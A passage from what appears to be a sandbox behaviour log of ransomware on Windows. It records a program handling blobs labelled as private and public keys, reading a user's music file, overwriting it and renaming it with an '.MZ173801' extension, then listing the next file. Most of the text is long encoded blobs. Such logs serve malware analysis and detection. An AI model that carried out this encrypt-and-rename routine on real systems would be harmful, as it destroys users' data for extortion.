oJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24fd50c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.921] GetCurrentThreadId () returned 0xab4 [0158.921] GetCurrentThreadId () returned 0xab4 [0158.921] GetCurrentThreadId () returned 0xab4 [0158.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250e56c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.921] GetCurrentThreadId () returned 0xab4 [0158.922] GetCurrentThreadId () returned 0xab4 [0158.922] GetCurrentThreadId () returned 0xab4 [0158.922] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\7xXZSvgm4j.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\7xxzsvgm4j.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.922] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.922] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.922] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x10efa [0158.922] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.922] ReadFile (in: hFile=0x27c, lpBuffer=0x2516370, nNumberOfBytesToRead=0x10efa, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x2516370*, lpNumberOfBytesRead=0x19f1b4*=0x10efa, lpOverlapped=0x0) returned 1 [0158.923] CloseHandle (hObject=0x27c) returned 1 [0158.924] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\7xXZSvgm4j.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\7xxzsvgm4j.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.926] WriteFile (in: hFile=0x27c, lpBuffer=0x25283a0*, nNumberOfBytesToWrite=0x10efa, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x25283a0*, lpNumberOfBytesWritten=0x19f1c0*=0x10efa, lpOverlapped=0x0) returned 1 [0158.927] CloseHandle (hObject=0x27c) returned 1 [0158.930] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\7xXZSvgm4j.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\7xxzsvgm4j.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\7xXZSvgm4j.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\7xxzsvgm4j.m4a.mz173801")) returned 1 [0158.931] GetCurrentThreadId () returned 0xab4 [0158.931] GetCurrentThreadId () returned 0xab4 [0158.931] GetCurrentThreadId () returned 0xab4 [0158.931] GetCurrentThreadId () returned 0xab4 [0158.931] GetCurrentThreadId () returned 0xab4 [0158.931] GetCurrentThreadId () returned 0xab4 [0158.931] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4344bd0, ftCreationTime.dwHighDateTime=0x1d5ed17, ftLastAccessTime.dwLowDateTime=0xc3448640, ftLastAccessTime.dwHighDateTime=0x1d5e614, ftLastWriteTime.dwLowDateTime=0xc3448640, ftLastWriteTime.dwHighDateTime=0x1d5e614, nFileSizeHigh=0x0, nFileSizeLow=0xbf3f, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="Eqf_vPTfpsTYa7.mp3", cAlternateFileName="EQF_VP~1.MP3")) returned 1 [0158.931] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.931] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.931] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\Eqf_vPTfpsTYa7.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\eqf_vptfpstya7.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4344bd0, ftCreationTime.dwHighDateTime=0x1d5ed17, ftLastAccessTime.dwLowDateTime=0xc3448640, ftLastAccessTime.dwHighDateTime=0x1d5e614, ftLastWriteTime.dwLowDateTime=0xc3448640, ftLastWriteTime.dwHighDateTime=0x1d5e614, nFileSizeHigh=0x0, nFileSizeLow=0xbf3f)) returned 1 [0158.931] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\Eqf_vPTfpsTYa7.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\eqf_vptfpstya7.mp3")) returned 0x20 [0158.931] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\Eqf_vPTfpsTYa7.mp3", dwFileAttributes=0x80) returned 1 [0158.933] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.933] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24fd50c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9